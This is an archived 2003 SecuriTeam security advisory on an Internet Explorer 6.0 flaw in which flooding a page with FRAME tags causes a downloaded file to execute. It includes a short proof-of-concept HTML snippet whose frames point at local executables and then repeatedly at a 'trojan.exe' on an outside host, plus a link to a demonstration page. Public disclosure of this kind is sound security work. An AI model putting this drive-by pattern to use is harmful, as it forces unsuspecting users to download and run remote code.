

[NT] Internet Explorer Program Execution (Flooding)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-05/0055.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/26/03

To: list@securiteam.com

Date: 26 May 2003 19:07:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

Internet Explorer Program Execution (Flooding)

SUMMARY

By flooding the Internet Explorer with multiple FRAME tags it is possible to cause it to not only download a file, but also execute it (even though the default security settings prohibits it). The vulnerability is processor related, meaning that the amount of CPU time available for processing determines whether the vulnerability occurs or not.

DETAILS

Vulnerable systems:

* Internet Explorer version 6.0.2800

Example:

If you create such a malicious HTML file:

```
< FRAME SRC="C:\winnt\welcome.exe"></FRAME>  
< FRAME SRC="C:\winnt\notepad.exe"></FRAME>  
< FRAME SRC="C:\winnt\regedit.exe"></FRAME>
```

Securiteam: [NT] Internet Explorer Program Execution (Flooding)

.. Together around 191 ... and after comes our Trojan ...

< FRAME SRC="<http://www.systemintegra.com/trojan.exe>"></FRAME>

< FRAME SRC="<http://www.systemintegra.com/trojan.exe>"></FRAME>

< FRAME SRC="<http://www.systemintegra.com/trojan.exe>"></FRAME>

< FRAME SRC="<http://www.systemintegra.com/trojan.exe>"></FRAME>

< FRAME SRC="<http://www.systemintegra.com/trojan.exe>"></FRAME>

An unsuspecting user that opens it, will unwillingly not only download but also execute the trojan.exe file.

Demonstration:

A demonstration site has been constructed:

<<http://www.malware.com/forceframe.html>>

<http://www.malware.com/forceframe.html> (Outside out web site)

We recommend you download the HTML file, and construct your own sample.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mb@systemintegra.com>> Marek Bialoglowy.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.